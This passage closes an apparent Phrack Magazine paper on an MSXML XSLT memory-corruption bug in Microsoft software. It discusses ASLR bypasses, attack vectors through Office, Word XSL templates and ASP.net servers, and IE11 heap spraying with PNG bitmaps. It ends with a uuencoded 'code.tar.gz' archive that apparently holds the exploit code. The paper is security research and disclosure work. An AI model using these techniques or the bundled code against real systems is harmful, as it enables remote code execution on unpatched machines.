opportunity, typically a forced memory leak with a memory corruption
vulnerability.[8] The most common way observed to force a memory leak is
to corrupt a client-readable object in a certain way allowing for removal
of the reading limits: such as a BSTR string in JavaScript (which is said
to be removed from jscript9.dll with IE9 but can still be accessed in
IE11[9]), various arrays in JavaScript and the Vector object in Flash. To
achieve such a bypass, either a second vulnerability must be used, or in
some cases, the same vulnerability can provide both a code execution and
a memory leaking opportunity.
Another branch of research worthy of a notice is the class of 'lazy'
arbitrary code executions introduced by Chinese researchers[10], that
takes a write-what-where vulnerability condition to enable a privileged
JavaScript execution instead of dealing with shell codes. This is not a
bypass technique in its own, because it still relies on a memory read/
write vulnerability that can provide a memory leak anyway, but rather an
example of a minimalist goal-oriented thinking as opposed to the
overcomplicated fighting with complications.
Jumping back to our bug, it is important to highlight that, because the
target software is a global system framework rather than a direct attack
surface, IE might be the worst possible attack vector. Instead, one might
want to focus on covering a number of secondary vectors, that are less
constrained with mitigations (e.g. Microsoft Office for which an ASLR
bypass should no be an issue). As it ws shown in the Table in the section
2.2, it's possible to trigger the bug in Office 2007 via an embedded
JavaScript. Another possibility to mention, that MS Word has a poorly
documented functionality for using XML templates with XSL transformation
functionality, that might possibly be a vector
as well. And most importantly, many internet-facing web applications
based on ASP.net might be vulnerable with maybe a no-user-interaction
code execution on a Windows server.
--[ 6 - Conclusion
In this paper we have thoroughly analyzed and demonstrated a certain
control over a curious specimen of a critical modern vulnerability in a
core Microsoft product, which somehow remained undercover for 2 years
despite of the publicly available trigger. We have also introduced a few
bits of previously unpublished information concerning MSXML internals,
JavaScript 9 internals, heap spraying with images as well as general
heap spraying in the latest Internet Explorer.
In order to analyze and control a modern binary vulnerability, a set of
distinct operations is applied, all of which we have revisited:
impact vectors research,
crash dump analysis,
exploitability estimation,
patch binary analysis,
and root cause analysis.
A seemingly uninteresting bug, previously discarded by automated tools
and superficial analysis, may turn out to be exploitable as a result of
an all-round investigation.
There may exist a multitude of ways to remotely reach a particular
vulnerability, apart from the most obvious (and likely the most
constrained) attack vector.
Deducing any specific vulnerability details from a vulnerability patch
only, such as the triggering inputs or the root cause, may be extremely
hard or impossible due to both the binary diffing complexities of large
amounts of binary code modifications and the possibility of a seemingly
irrelevant code being changed.
A bit-accurate precision of the crafted input may be required to take a
vulnerability condition such as a read access violation to the control of
the program counter through the chain of code constraints along the
execution path, as well as an extensive grasp of the operating system
internals and a pages-accurate control of the target process memory space.
Bits of useful data may be leaked about the crashing context through
ordinary memory access operations, even when no explicit information
leaking opportunity is provided by the vulnerability.
Internet Explorer 11 memory may be filled quickly with controlled data
that would be positioned predictably enough to control a highly entropic
vulnerability, despite the allocation randomization as well as the
possible anti heap-spraying mechanisms in place.
Microsoft XSLT technology is implemented as a simple virtual machine,
taking the input XSL code through the abstract syntax tree generation
with the ASTCodeGen class to 'XCode' compilation with the XCodeGen class,
to stateful frame-based computation with the XEngine class.
A huge memory spray may be contained in bitmaps, compressed into the PNG
format with zero loss.
A memory leaking opportunity will be required to take the vulnerability
from EIP control to shellcode execution.
--[ 7 - Thanks
Nicolas for publishing the repro trigger, my ex-boyfriend for the endless
supply of cat photos and Nutella, and my grandma for her loving support.
--[ 8 - References
[1] Microsoft Security Bulletin MS13-002 - Critical - TechNet
https://technet.microsoft.com/library/security/ms13-002
[2] Nicolas Gregoire, "Mutation-based fuzzing of XSLT engines"
http://www.agarri.fr/kom/archives/2013/02/25/
mutation-based_fuzzing_of_xslt_engines/index.html
[3] Greg MacManus, Michael Sutton, "Punk Ode: Hiding Shellcode in Plain
Sight"
https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Sutton.pdf
[4] Ken Johnson, Matt Miller, "Exploit mitigation improvements in
Windows 8"
https://media.blackhat.com/bh-us-12/Briefings/M_Miller/
BH_US_12_Miller_Exploit_Mitigation_Slides.pdf
[5] Yuki Chen, "The Birth of a Complete IE11 Exploit Under the New
Exploit Mitigations"
https://www.syscan.org/index.php/download/
[6] Zhang Yunhai, "Bypass Control Flow Guard comprehensively"
https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-
Control-Flow-Guard-Comprehensively-wp.pdf
[7] Dion Blazakis, "Interpreter Exploitation. Pointer Inference and JIT
Spraying"
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf
[8] Fermin J. Serna, "The info leak era on software exploitation"
https://media.blackhat.com/bh-us-12/Briefings/Serna/
BH_US_12_Serna_Leak_Era_Slides.pdf
[9] Yang Yu, "Write Once, Pwn Anywhere"
https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-
Pwn-Anywhere.pdf
[10] Yuki Chen, "Exploit IE using scriptable ActiveX controls"
http://www.slideshare.net/xiong120/exploit-ie-using-scriptable-
active-x-controls-version-english
--[ 9 - Code
begin 644 code.tar.gz
M'XL(`!:!EE4``^U9VV[;1A#-JP+X'\8"VI!Q)5Y$2;9U*0+D,6X>FH<`01"L
MR*7$A!=UN;(D%/F(YHL[LTOJXMBQG4"NV^XQ8"[W,C,[,SM[)(59Y#PY,%S7
M[??[H)Z]KGJZ?J"?%<#SNT$WZ/>[K@^NY[O]X`ET#VT885%*)M`4EB8E^\8\
MG!;'WQBO]K%Y_DL08OPE+V7[8WDP';?%O^][=?R[W6Z`\>\$OO<$W(-9M(/_
M>?R!L"K3L,@ES^7HV1!?SDNY3GDYXUS"*DOS\AP[1\V9E/-SQUDNE^UEIUV(
MJ>.=G9TY;W]_Y;P1+"_C0F1-N.2B3(I\U/3:;G.LQ$F>S5,F.>0LXZ-FQI+\
M0]W7A(S)<#9J.M5DE-+B+)Q!R5,>RE'S>37`YO-TW:K7E<YXZ.S.KU[K\6LU
MKU8;=:MW\Z),)%IJV>^;4$O;[GS\;'#TM%&*\(W@?)3S);P(97+)W[Z>?$2[
MK.9%B;[QVR]?7[PLPD6&WFOW<,LV+4-1\D?6M=."16\O7EG;T-@[YK1E[>_?
MBHA;]2J:<L_XT_D/!2MG;6P=),/N4/^]_J;^!_T>G?\>U7]S_@^/L`Q%,I=P
MZ#O`X'$BX0>G?_?B?YW`Q?/O]?V>X7\/`8R_"'E[)K/T8#INB;_?[74V_,]W
M*?X=O`!,_7\(#(^C(I3K.0=*@?'1T^'FR5F$3VSI*T*UXT4>$F<"Q1DL&XZ>
M_JEIBR&0UQ+(QT<A6<H%BE`!;-Z)5#:.GG[>"_Z\".O0.PX<'Q_#R6S.0/`_
M%HG@$?6HD<D<,K*T=[SB^33)^3FZ)R\'UPU,!`U,M<LNF8`DER^$@!&H_0O!
MUF2K[GWGOL<!=^5ZH1O'G`\`M65,?.*"6B6XD/YZ6M\MG$,<0TB%92,]+!:Y
M1!F6N_+.]+R6N_)=VPF4L`#774Q`S4>76,JBD3>`9#A2:[%U<F+C*.5_`U?,
MF9#>.?H&3<0,!EFH+I^&DQ@L7$G*?*W,"6P@%S9H/3WT',M*G@<GRI"?W56,
ML&&DK.R$G?!DLZA1.R+1CJ#B27\#-<C3DE\WBV30WT#OJ_%YQW1_WW3,X!33
M)E)R2)Y6NR_/=2<LBCQ.\I2PJBH,`*ZF3,Q"68B$I59>%PW:<$Z[<]6>E!]5
M9N$FH$)#<+D0.7A57^,S3=W84XWF\'Q7`;3`(R%HP=#9%*^ALZUHDR):0Y'3
M"1DUMRL[KCUHXHS&D$X!)#C(]+M#':H5Q;D:F%0#^$["H^12=0M>TJ'!BN-@
ME];FD#IM`=76?[KD[P'O?RR3<6M.1>U`-."6^S_H!<'F_O<4_PMZ7?/]SX/`
MW/_F_K_W_4\50Q6,'V(!-Y&`1\D!Z):4PK64VY)\:K?&^.ZI_WYKO+DN:1U>
MM*S==E>!VVY#:TSOIYW3%6+[MD;0FW(C%&+WPJW,FT_6F'?JWCY5]F`BKF&9
MR!EDO)Z#-O@35M(\2RT8#OW`/JG;7H\N8\?12I4G4%#*\@CW`!AKD#..;L8\
M9BF*S0JQ!A:&O"QW-)`1RH*0I>&"CD,$L2@RM7C.IAR*."ZYW"[Q[[\$)Z;[
M7$;[DIJU[VY@*)60B*>2:8=U7*T=Z0DJQNUB6F;%);9I)9\*/J5#3<9XI503
MJ.WC<\\)P`1GI7)ZDE>V2[0@URE!':A"50'TWR21N&*">M`&CYR-RV%1:K4\
M1W^'6FFY4.+C10I>2\4YP^LG3:8YCZZ&X6X,5`U_J*Q#)R"/_$D;H1R1Y!%?
MT7DJE/YP(006!!4)S04I+;C\4D*<8!R4C7,\;R!9DNJDP_1+\KT04,BV]';\
M%;U%F<M9@OD=\1C/-_IQQH5VP%\D]PM,.![\$JQP5I0\!RRVB4A([-JNN/&W
M26>C0:4MR1=\4!%:Q2)USEI;?[3@%$Z`#C<^5)[8>GV5JWM3@WIJ"RPU5U-Q
MVZYY,Q6:&\)UCD0T32<L_*0<1!6!KW@(L/'358JO";XZKSO\?G?/U>$8;)0O
M,?/A!O5(0)'-:B?7L=IP>#)@N],A>;/ONO9U&JNR<J+:=`7<]#'@REQ_H#\+
M7/DT4%\[KXKBTR^0J]P)CYL53;__!X6=*^@__G'AWC_IW`O(__7//P?\!O`6
M_N^Y?G?[_6]7_?[3]\WO/P^"#=VODVZ'[!M6?S.K_SY2_YV<_A9*_Q6COP.A
MOU+K'O$W%`8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&!@8&
0!@8&!@8U_@9W7BIU`%``````
`
end
--[ EOF
© Copyleft 1985-2024, Phrack Magazine.